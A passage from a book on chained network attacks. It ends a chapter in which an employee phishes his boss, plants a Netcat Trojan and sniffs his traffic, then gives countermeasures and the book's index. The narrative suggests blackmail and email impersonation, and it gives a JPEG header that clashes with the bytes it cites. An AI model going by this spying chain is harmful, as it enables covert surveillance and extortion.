Phoenix saves the output in its raw format by clicking the **Raw** option (in the lower-right corner) and then clicking the **Save As** button. He saves the file as `output.raw`.

Next he launches WinHex (www.x-ways.net/winhex/), a popular hex editor for Windows, and selects **File, Open** to open `output.raw`. Figure 2.24 shows how the raw data appears in WinHex.



ÿöÿà

Figure 2.24 Raw TCP stream in WinHex

This does not look like much just yet, but he will soon re-create the image into its original form. Phoenix knows that he must first remove the HTTP GET request header and leave only the graphics (if there was more HTTP code after the graphics, he would have to remove that as well). To do this, he must remove everything before the start of the binary graphic file. JPEG graphics start with the characters `ÿöÿà`. Using his mouse, Phoenix highlights all the text in the third column up to `ÿöÿà`. To remove the HTTP header, he selects the text to remove and then presses **Ctrl-x** to cut it out of the file. He now has the source graphics file, so he can go to the **File** menu and choose **Save As** (shown in Figure 2.25).




Figure 2.26 Image Mr. Minutia was looking at

FILE HEADERS IN HEXADECIMAL OUTPUT

You can also look directly into the hexadecimal output to determine the file type. For example, JPEG files will have the hexadecimal value FF D8 FF. To see this and other header values for various file types, visit www.filext.com.

OTHER POSSIBILITIES

Although the example shows Phoenix's boss only viewing an online gambling site, the variety of what he might have seen is limitless. What if the boss was looking at pornography? Imagine how Phoenix could have used that to blackmail him or get him fired. In fact, according to a 2005 *PC World* survey, nearly half of all American Fortune 500 companies have dealt with at least one incident of an employee viewing pornography on their computer at the workplace.

Perhaps instead of online gambling or Internet porn, Phoenix might have been able to capture his boss sending a plaintext password to a Web-based e-mail site. With that password Phoenix could log in as his boss and send e-mails to Mr. Minutia's friends in his contacts list with lies about him, such as how he wants to confess his drug and alcohol addiction or how he is having an affair.

The possibilities of what Phoenix might discover while spying on his boss are limitless.

CHAINED EXPLOIT SUMMARY

Let's review the steps Phoenix used for this chained exploit:

1. He copied down a legitimate Web site to set up a phishing scam.
2. He used a Trojan wrapper to combine Netcat with legitimate software.
3. He hosted a new Web site and sent a spoofed e-mail to his boss.
4. He scanned his network to find the IP address of his boss's computer.
5. He connected to his boss's computer via Netcat and, using TFTP, downloaded WinDump.
6. He captured packets being sent to and from his boss's computer while his boss surfed the Internet.
7. He copied the captured packets back to his computer and opened them using Wireshark.
8. Upon seeing that there was a graphic being transferred, he saved the output as raw data and opened it in WinHex.
9. Using WinHex, he removed the HTTP header, saved the original graphics file, and opened it.

COUNTERMEASURES

Now let's examine the various countermeasures you can deploy in your environment to protect against these kinds of attacks.

COUNTERMEASURES FOR PHISHING SCAMS

Setting up a fraudulent Web site to appear as a legitimate Web site is known as phishing. Most people think of phishing scams as an attempt to capture passwords or credit card information but, as you have seen in this chapter, such scams can be used for much more. Phishing scams are first and foremost a social engineering tactic. Protecting against these attacks involves both human and technical safeguards.

The human safeguard is training. Offer routine training, post signs, and train all new employees on the dangers of social engineering tactics. Train them not to open e-mails from people they do not know and not to visit Web sites that appear suspicious. Explain that they must be especially wary of any e-mails that instruct them to download software from a Web site they are not familiar with.

Technical safeguards include installing spam filters and anti-phishing solutions. Most phishing scams, including the one used in this chapter, are sent in the form of spam. Having both a central spam filter for all incoming e-mail as well as spam filters on users' computers will help to protect against these attacks. The other technical safeguard, anti-phishing solutions, can help to some extent but are not the end-all solution. Both Internet Explorer 7.0 and Mozilla Firefox 2.0 contain anti-phishing measures. You can also install anti-phishing toolbars from Web sites such as Netcraft.com.

COUNTERMEASURES FOR TROJAN HORSE APPLICATIONS

Just as with phishing scams, protecting against Trojan horse applications involves both a human and a technical element. Train your users never to install unauthorized software on your network. Have a policy that states not only the prohibition of installing any software not approved by a network manager, but also states the consequences for doing so.

The technical solution is twofold. First, make sure you have the latest signatures for your anti-virus software. Most anti-virus software solutions detect Netcat. However, variants of Netcat are constantly coming out. One example is Cryptcat (<http://farm9.org/Cryptcat/>), which is an encrypted version of Netcat. Also there are underground organizations that will, for a price, alter any program you have (such as Netcat) so that it does not match any known signature. For example, EliteC0ders was known for altering executables to make them undetectable. According to its Web site (www.elitec0ders.net/), it no longer offers this service.

Second, use a group policy across your domain that prevents users from installing software on their computers. Although some users (especially management) might not like this, you can help minimize complaints by reassuring them that protecting themselves and the company against attacks is in their best interest.

COUNTERMEASURES FOR PACKET-CAPTURING SOFTWARE

If the attacker has gotten far enough to run packet-capturing software, you have more problems to worry about in addition to the attacker capturing a few packets. Nevertheless, you can do a few things to protect against packet capturing. First, to protect against the loud attacks discussed in the “For More Information” section earlier, use switches with port security turned on. Port security protects against ARP poisoning, MAC spoofing, and MAC flooding by allowing only certain MAC addresses to connect to a given port on a switch.

Second, use an IPS to alert you and actively protect against any type of ARP poisoning or MAC flooding. An IPS can alert you should an attacker try to capture traffic on a network.

Third, you can use an application such as PromiScan (www.securityfriday.com/products/promiscan.html), which scans your network to see whether any hosts have set their interface to operate in promiscuous mode. Packet-capturing software applications often set the network interface card to run in promiscuous mode, so utilities such as PromiScan might alert you to anyone running packet-capturing software on your network.

Finally, use host-based intrusion detection software, such as Cisco Secure Agent, or firewall software that will alert you anytime a new application is attempting to launch. This could warn you that someone is trying to run packet-capturing software on your computer.

CONCLUSION

Phishing scams, Trojan horses, and packet-capturing software are all threats to today’s networks. Network spying takes place all the time. Employers spy on their employees, employees spy on their employers, and companies spy on each other. Ultimately, you choose to give up your privacy any time you log in to your company’s network.

Index

A

- access points, 109
 - connecting to, 239-248
 - securing, 258-259
- access systems compromises, countermeasures for, 121
- Active Directory, configuring, 259-260
- ADS (Alternate Data Streams), 110
- AFXRootkit 2005, 163
- AirSnort, 237
- Alternate Data Streams (ADS), 110
- analyzing packet captures, 46-48
- Angry IP Scanner, 42
- anonymous e-mail, sending, 38-42
- anti-phishing tools, 231
- anti-virus software, 264
 - Netcat and, 53
 - updating, 261
- ARP poisoning, 26
- Ashe, Arthur, 179
- attacking Web sites, 66-68
- attacks
 - loud attacks
 - defined, 22
 - for viewing switched traffic, 25-28
 - online attacks, 206
 - on social networking sites, 211-212
 - capturing usernames and passwords, 224
 - countermeasures, 228-231
 - creating fake Web site, 213-216
 - creating MySpace page, 218-221
 - creating redirection Web site, 217-218
 - Facebook attacks, 227-228
 - posting from hacked account, 224-227
 - sending comment to MySpace page, 221-223
 - steps in, 212-213

Web-based attacks. *See* Web-based attacks

wireless access breaches, 233-235

- access point connections, 239-248
- countermeasures, 258-259, 265
- finding database information, 256-257
- Kerberos preauthentication attack, 248-254
- password cracking, 254-256
- reasons for, 238-239
- steps in, 236, 239, 257
- wireless-sniffing tools, list of, 237-238

Auditor security collection, 241

authentication, Kerberos preauthentication attack, 248-254

automated attendants, tampering with medical records, 192

automatic scanning for viruses, 264

B

Backtrack, 142

backups, importance of, 263

Base64 decoder, 230

binding Trojans with executables, 32-37

biometrics, defeating, 199-201

- counter measures to, 208

black hole filtering, 86

Blogger.com, redirection from, 217-218

booting into Windows with Knoppix, 201-204

bringing down an organization, corporate espionage, 107-110, 112-119

BulkFriendAdder, 219

C

cached information, retrieving, 230

CacheDump, 254-255

Cain & Abel, 249-253

CAPTCHA, 219

capturing usernames and passwords, 215, 224

CCV (credit card verification), 12

chained corporation exploits, 125-126

- countermeasures, 174-176
- executing hacks on, 166-167
- exploit infrastructures, building DNS servers, 149-155
- reconnaissance, 127-149
- results of exploit, 172
- rootkits, constructing, 167-172
- social engineering attacks, 135-137
- summary of exploit, 173-174
- testing exploits, 156-164

changing passwords, 231

Cisco Security Agent (Cisco), 122

clicking links, cautions about, 229

comments, sending to MySpace page, 221-223

companies, chained corporations. *See* chained corporation exploits

competitive intelligence gathering. *See* corporate espionage

competitors, taking down Web sites, 55-57

- approach to, 57-58
- attacking, 66-68
- gaining access to the site, 68-70
- modifying the site, 80-83

- test attacks, 60-66
- testing the hack, 70-79
- compromise of internal employees, countermeasures, 87
- compromising PCs, 208-209
- computer network security checklist, 261-265
- configuring Active Directory, 259-260
- connecting
 - to IP addresses, 43-45
 - to wireless access points, 239-248
- copying Web sites for phishing scams, 29-32
- Core Impact, 144, 147
 - key generation, 146
 - workspace setup, 144
- Core Impact!, 144
- corporate espionage, 91, 119
 - bringing down an organization, 107-119
 - countermeasures
 - for data theft, 123
 - for operating system attacks, 123
 - for physical security breaches and access systems compromise, 121
 - for scanning attacks, 122
 - for social engineering, 122
 - executing hacks, 101-107
 - passive reconnaissance, 91
 - physical access, 96-101
 - reconnaissance, 92-96
 - summary of chained exploit, 120
- corporate IT personnel, tampering with medical records, 188
- countermeasures
 - Active Directory configuration, 259-260
 - anti-virus software updates, 261
 - chained corporations exploits, 174-176
 - compromising PCs, 208-209
 - computer network security checklist, 261-265
 - credit card exploits, 17-18
 - access to developer sites, 17
 - changing the default HTTP response headers, 17
 - for customers, 19
 - read-only websites, 18
 - removing stored procedures, 18
 - SQL Server, 17
 - web forms, 18
 - for data theft, 123
 - for DDoS attacks, via HTTP, 86
 - defeating biometrics, 208
 - for keylogger attacks, 176
 - lock picking, 208
 - for operating system attacks, 123
 - for packet capturing, 54
 - for phishing scams, 53
 - for physical security breaches and access systems compromises, 121
 - protecting against social engineering and piggybacking, 206, 208
 - for scanning attacks, 122
 - for social engineering, 122
 - for social networking site attacks, 228-231
 - for Trojans, 53
 - for wireless access breaches, 258-259, 265
 - IDS (intrusion detection system), 261
 - IPS (intrusion prevention system), 260

- unauthorized Web site modification, 86-87
- Web attacks
 - compromise of internal employees, 87
 - DDoS attacks via ICMP, 85
 - protecting company information, 85
 - to Wi-Fi attacks, 175
- coWPAtty, 236, 245-247
- cracking passwords, RainbowCrack, 254-256
- credit card databases, enumerating, 5-11
- credit card exploits
 - countermeasures, 17-18
 - accessing developer sites, 17
 - changing default HTTP response headers, 17
 - for customers, 19
 - read-only Web sites, 18
 - removing stored procedures, 18
 - SQL Server, 17
 - web forms, 18
- defacing company Web sites, 15-16
- enumerating
 - company Web sites, 3-5
 - credit card databases, 5-11
- selling credit card information on the underground market, 13-15
- stealing credit card information from company Web sites, 11-12
- credit card insurance, 19
- credit card verification (CCV), 12
- criminal medical identity theft, 180
- cross-site request forgery (CSRF) attack, 227
- Cryptcat, 53

- CSA (Cisco Security Agent), 122
- CSRF (cross-site request forgery) attack, 227
- Cult of the Dead Cow, GoolagScan, 4
- customers, countermeasures for credit card exploits, 19
- cylinder locks, 197

D

- data theft, countermeasures for, 123
- database information, finding, 256-257
- databases
 - credit card databases, enumerating, 5-11
 - MySQL databases, creating, 216
- DDoS attacks
 - via HTTP, countermeasures, 86
 - via ICMP, countermeasures, 85
- defacing Web sites, 15-16
- defeating biometrics, 199-201
 - counter measures, 208
- disaster recovery plans, 265
- discovering IP addresses, 42-43
- DNS, chained corporation attacks, 149
- DNS configurations, accessing, 150
- DNS servers, exploiting chained corporations, 149-155
- downloading of software, online attacks, 206
- dumpster diving, 207

E

e-mail, sending anonymous e-mail, 38-42
e-mail addresses, tampering with medical records, 189-190
e-mail attacks, 206
electronic medical records (EMR), 177
EliteC0ders, 53
EMR (electronic medical records), 177
encryption for wireless networks, 265
encryption flaws in WEP, 246
End User License Agreement (EULA), 207
entry points, tampering with medical records, 191
enumerating
 company Web sites, credit card exploits, 3-5
 credit card databases, 5-11
enumeration, 2
ESSID, obtaining, 241
ESSID-JACK, 241
EULA (End User License Agreement), 207
executables, installing, 32-37
executing hacks
 against chained corporations, 166-167
 corporate espionage, 101-102, 104-107
exploit infrastructures, building for
 exploits on chained corporations (DNS servers), 149-155
exploits, testing, 156-164

F

Facebook attacks, 227-228
 countermeasures, 228-231

fact collecting, tampering with medical records, 185-187
fake MySpace Web site, creating, 213-216
Fearless Keylogger, 162
file headers in hexadecimal output, 51
financial medical identity theft, 180
finding database information, 256-257
fingerprint scanners, 200
Firefox 2.0, 231
firewalls, 261
four-way handshake (wireless access), 241-245
friends
 adding to MySpace page, 219-221
 requirements for, 230

G

gaining physical access, tampering with medical records, 195
 booting into Windows with Knoppix, 201-204
 defeating biometrics, 199-201
 lock picking, 195-199
genpmk utility, 247
GoolagScan (Cult of the Dead Cow), 4
government benefit fraud, 180
graphics
 reassembling, 48-51
 removing request headers from, 49
gratuitous ARP messages, 26

H

hacked accounts, posting from, 224-227
Hacker Defender, 163
hacks, executing
 against chained corporations, 166-167
 in corporate espionage, 101-107
hacktivism, 15, 212
hashes, 136
Health Insurance Portability and
 Accountability Act (HIPAA), 108, 178
Help Desk, attacks, 207
hexadecimal output, file headers in, 51
HFS (Hierarchical File System), 110
hiding keyloggers, 169
Hierarchical File System (HFS), 110
HIPAA (Health Insurance Portability and
 Accountability Act), 108, 178
host-based intrusion detection software,
 54
hours of operation, tampering with med-
 ical records, 187
HTTP (Hyper Text Transfer Protocol), 3
 DDoS attacks via, countermeasures, 86
HTTP response, 3-4
HTTP response headers, changing default,
 17
Hynes, Bill, 132
Hyper Text Transfer Protocol (HTTP), 3

I

ICMP, DDoS attacks via (countermea-
 sures for), 85
identity theft, medical identity theft, 180

Identity Theft Resource Center (ITRC),
 180
IDS (intrusion detection system), 261-262
installing
 executables, 32-37
 WinPcap, 45-46
instant messaging, attacks, 207
insurance, credit card insurance, 19
Internet connections, types of, 261
Internet presence, tampering with med-
 ical records, 184-185
intrusion detection system (IDS), 261-262
intrusion prevention system (IPS),
 260-262
IP addresses
 connecting to, 43-45
 discovering, 42-43
IPS (intrusion prevention system),
 260-262
IPS alerts, 54
iStumbler, 238
ITRC (Identity Theft Resource Center),
 180

J-K

Jonas Software, 257
JPEG graphics. *See* graphics

Karlsson, Patrik, 237
Kerberos preauthentication attack,
 248-254
Kershaw, Mike, 237

Kewitz, Steffen, 237
key generation, Core Impact, 146
keyloggers, 161-162
 countermeasures for attacks, 176
 hiding, 169
 wrapping inside program files, 170
KisMAC, 237
Kismet, 237
Knoppix, booting into Windows, 201-202,
 204

L

Lamo, Adrian, 264
Lauer, Michael, 237
legal issues, phishing site setup, 38
links, cautions about clicking, 229
lock picking, 195-199
 counter measures, 208
logging user access logs, 263
loud attacks
 defined, 22
 for viewing switched traffic, 25-28

M

MAC flooding, 27-28
MAC spoofing, 26-27
MacStumbler, 237
mail.com, 38
marketing companies, tampering with
 medical records, 189
medical identity theft, 180

medical records, tampering with. *See* tampering with medical records
Metasploit, 104, 158
Microsoft vista, 147
Mitnick, Kevin, 181
modifying competitor Web sites, 80-83
Moser, Max, 237
msplinks.com, 229
Muench, Martin J., 237
MySpace attacks, 211-212
 countermeasures, 228-231
 steps in, 212-213
 capturing usernames and passwords,
 224
 creating fake Web site, 213-216
 creating MySpace page, 218-221
 creating redirection Web site, 217-218
 posting from hacked account,
 224-227
 sending comment to MySpace page,
 221-223
MySpace page
 creating, 218-221
 sending comment to, 221-223
MySQL databases, creating, 216

N

names, tampering with medical records,
 184
nbtscan, 249
Netcat, 29
 anti-virus software and, 53
Netcraft Toolbar, 231

Netgear, 148
 NetStumbler, 238
 network security, checklist for, 261-265
 Newman, Daniel P., 25
 NewsRover, 13
 Nmap, 103
 noisy attacks, 22. *See also* loud attacks

O

offsite backups, 263
 on-site backups, 263
 online attacks, 206
 operating system attacks, countermeasures for, 123
 operating system security patches, 263
 operating systems, tampering with medical records, 189
 organizational charts, tampering with medical records, 191
 OSQL
 enumerating credit card databases, 7
 parameters, 8

P

packet capturing, 43-45
 analyzing packet captures, 46-48
 countermeasures for, 54
 installing WinPcap, 45-46
 passive reconnaissance, corporate espionage, 91
 password cracking, RainbowCrack, 254-256

passwords, 183
 banking Web sites, 19
 capturing, 215, 224
 changing, 231
 Netgear, 148
 strong passwords, 230
 system for, 262
 patching operating systems, 263
 PCMCIA (Personal Computer Memory Card International Association), 109
 PCs, compromising, 208-209
Penetration Testing and Network Defense (Whitaker and Newman), 25
 Personal Computer Memory Card International Association (PCMCIA), 109
 phishing attacks, 206
 phishing scams
 anti-phishing tools, 231
 countermeasures for, 53
 defined, 24
 setup for, 29-32
 site setup for, 38
 Photobucket, 222
 phreaking, 13
 physical access, corporate espionage, 96-101
 physical security breaches, countermeasures for, 121
 pick guns, 197
 picking locks, 195-199
 piggybacking
 counter measures, 206-208
 tampering with medical records, 181-182
 automated attendants, 192
 corporate IT personnel, 188

e-mail addresses and format, 189-190
entry points, 191
example of info that can be gathered,
192-195
fact collecting, 185-187
hours of operation, 187
Internet presence, 184-185
marketing companies, 189
names, 184
operating systems, 189
organizational charts, 191
outside vendors, 189
physical location of records room, 192
security/access control, 191
types of medical procedures, 187
types of software, 189
vacation schedules, 190
Web sites, 189

political causes, hacking for, 212

port scanning, 43

port security, 54

posting from hacked accounts, 224-227

private profiles on social networking sites,
229

private registrations, 214

program files, wrapping keyloggers in, 170

PromiScan, 54

promiscuous mode, 54

protecting
against piggybacking and social engi-
neering, 206-208
company information, 85

protection. *See* countermeasures

PSK (Preshared Key), obtaining, 247

Q-R

Quizzi, 137

radio frequency identification (RFID), 93

RainbowCrack, 254-256

RAT (remote access Trojan), 137

read-only Web sites, countermeasures to
credit card exploits, 18

reassembling graphics, 48-51

receptionists, 207

reconnaissance
chained corporations, 127-149
corporate espionage, 92-96
passive reconnaissance, 91

reconnaissance stage, 183

records room, tampering with medical
records, 192

redirection Web site, creating, 217-218

remote access Trojan (RAT), 137

Remote Desktop connections, 106

request headers, removing from graphics,
49

requirements for friends (social network-
ing), 230

rexploit command, 161

RF card scanners, 96

RFID (radio frequency identification), 93

rogue access points, 109

rootkits, 163
constructing, 167-172

S

- scanning attacks, countermeasures for, 122
- secondary attacks, 2
- securing wireless access points, 258-259
- security, tampering with medical records, 191
- selling credit card information on the underground market, 13-15
- sending
 - anonymous e-mail, 38-42
 - comments to MySpace page, 221-223
- serialization, 216
- sessions, 166
- show exploits, 156
- show run, 129
- Snax, 237
- Sniffers, 237. *See also* wireless-sniffing tools
- social engineering
 - countermeasures, 122, 206-208
 - tampering with medical records, 181-182
 - automated attendants, 192
 - corporate IT personnel, 188
 - e-mail addresses and format, 189-190
 - entry points, 191
 - example of info that can be gathered, 192-195
 - fact collecting, 185-187
 - hours of operation, 187
 - Internet presence, 184-185
 - marketing companies, 189
 - names, 184
 - operating systems, 189
 - organizational charts, 191
 - outside vendors, 189
 - physical location of records room, 192
 - security/access control, 191
 - types of medical procedures, 187
 - types of software, 189
 - vacation schedules, 190
 - Web sites, 189
- social engineering attacks on chained corporations, 135-137
- social networking site attacks, 211-212
 - countermeasures, 228-231
 - Facebook attacks, 227-228
 - steps in, 212-213
 - capturing usernames and passwords, 224
 - creating fake Web site, 213-216
 - creating MySpace page, 218-221
 - creating redirection Web site, 217-218
 - posting from hacked account, 224-227
 - sending comment to MySpace page, 221-223
- software, tampering with medical records, 189
- Spamminimic, 13
- SpiderFoot, 134
- spoofed e-mail, sending, 38-42
- spyware, 207
- SQL (Structured Query Language), 5
 - enumerating credit card databases, 6-11
- SQL Server, countermeasures for credit card exploits, 17

-
- stealing credit card information from Web sites, 11-12
 - stored procedures, removing to protect against credit card exploits, 18
 - strong passwords, 230
 - Structured Query Language. *See* SQL
 - switched traffic, viewing, 21-25
 - analyzing packet captures, 46-48
 - connecting to IP addresses, 43-45
 - discovering IP addresses, 42-43
 - installing executables, 32-37
 - installing WinPcap, 45-46
 - loud attacks for, 25-28
 - phishing scam, 29-32
 - phishing site setup, 38
 - reassembling graphics, 48-51
 - sending anonymous e-mail, 38-42
 - steps for, 28-29, 52
 - switches, operational overview, 23-24
 - Sysinternals, 44
- T**
- tampering with medical records
 - approach to, 179
 - gaining physical access, 195
 - booting into Windows with Knoppix, 201-204
 - defeating biometrics, 199-201
 - lock picking, 195-199
 - modifying personally identifiable information or protected medical information, 204-205
 - reconnaissance stage, 183
 - social engineering and piggybacking, 181-182
 - automated attendants, 192
 - corporate IT personnel, 188
 - e-mail addresses and format, 189-190
 - entry points, 191
 - example of info can be gathered, 192-195
 - fact collecting, 185-187
 - hours of operation, 187
 - Internet presence, 184-185
 - marketing companies, 189
 - names, 184
 - operating systems, 189
 - organizational charts, 191
 - outside vendors, 189
 - physical location of records room, 192
 - security/access control, 191
 - types of medical procedures, 187
 - types of software, 189
 - vacation schedules, 190
 - Web sites, 189
 - telephones, 207
 - telephony hacking, 13
 - test attacks, taking down Web sites, 60-66
 - testing
 - computer network security, 262
 - disaster recovery plans, 265
 - exploits, against chained corporations, 156-164
 - TFTP servers, 44
 - traffic monitoring, 21-25
 - loud attacks for, 25-28
 - steps for, 28-29, 52
 - analyzing packet captures, 46-48
 - connecting to IP addresses, 43-45
-

- discovering IP addresses, 42-43
- installing executables, 32-37
- installing WinPcap, 45-46
- phishing scam, 29-32
- phishing site setup, 38
- reassembling graphics, 48-51
- sending anonymous e-mail, 38-42

Trojans

- binding with executables, 32-37
- countermeasures for, 53

types of medical procedures, tampering with medical records, 187

U

- unauthorized Web site modification, countermeasures, 86-87
- underground markets, selling credit card information, 13-15
- updating
 - anti-virus software, 261
 - virus definition files, 264
- URLScan, 17
- user access logs, 263
- usernames, capturing, 215, 224

V

- vacation schedules, tampering with medical records, 190
- vendors, tampering with medical records, 189
- viewing private profiles on social networking sites, 229

- viewing switched traffic, 21-25
 - loud attacks for, 25-28
 - steps for, 28-29, 52
 - analyzing packet captures, 46-48
 - connecting to IP addresses, 43-45
 - discovering IP addresses, 42-43
 - installing executables, 32-37
 - installing WinPcap, 45-46
 - phishing scam, 29-32
 - phishing site setup, 38
 - reassembling graphics, 48-51
 - sending anonymous e-mail, 38-42
- virus definition files, updating, 264
- viruses, constructing, 115-117
- Visual IQ, 131-132
- VMware, 142
- void11, 241

W

- WaveStumbler, 237
- Web attacks, countermeasures
 - compromise of internal employees, 87
 - DDoS attacks via ICMP, 85
 - protecting company information, 85
 - unauthorized Web site modification, 86-87
- web forms, countermeasures for credit card exploits, 18
- Web sites
 - copying for phishing scams, 29-32
 - defacing for credit card exploits, 15-16
 - enumerating company Web sites, credit card exploits, 3-5

- phishing site setup, 38
- stealing credit card information from, 11-12
- taking down competitor sites, 55-57
 - approach to, 57-58
 - attacking, 66-68
 - gaining access to the site, 68-70
 - modifying the site, 80-83
 - test attack, 60-66
 - testing the hack, 70-79
- tampering with medical records, 189
- Web-based attacks, 59
 - attacking, 66-68
 - gaining access to the site, 68-70
 - modifying the site, 80-83
 - test attacks, 60-66
 - testing the hack, 70-79
- Wellenreiter, 237, 241
- WEP, 141, 265
 - encryption flaws in, 246
- Wget, 30, 214
- Whitaker, Andrew, 25
- Wi-Fi attacks, countermeasures, 175
- Windows Packet Capture library, installing, 45-46
- Windows Scripting Host Virus Creation dialog, 115
- Windows Scripting Host Worm Constructor dialog, 115
- WinDump, 44-45
- WinHex, 48
- WinPcap, installing, 45-46
- wireless access breaches, 233-235
 - countermeasures, 258-259, 265
 - reasons for, 238-239
 - steps in, 236, 239, 257
- access point connections, 239-248
- finding database information, 256-257
- Kerberos preauthentication attack, 248-254
 - password cracking, 254-256
 - wireless-sniffing tools, list of, 237-238
- wireless access points, securing, 258-259
- wireless LANs, number of, 238
- wireless-sniffing tools, list of, 237-238
- Wireshark, 47
- workspace setup, Core Impact, 144
- worms, 117
- WPA, cracking, 245-247
- WPA2, 265
- wrapping keyloggers inside program files, 170
- Wright, Joshua, 236
- Wynette, Tammy, 179

X-Z

- YAB (Yet Another Binder), 32
- YouTube, 221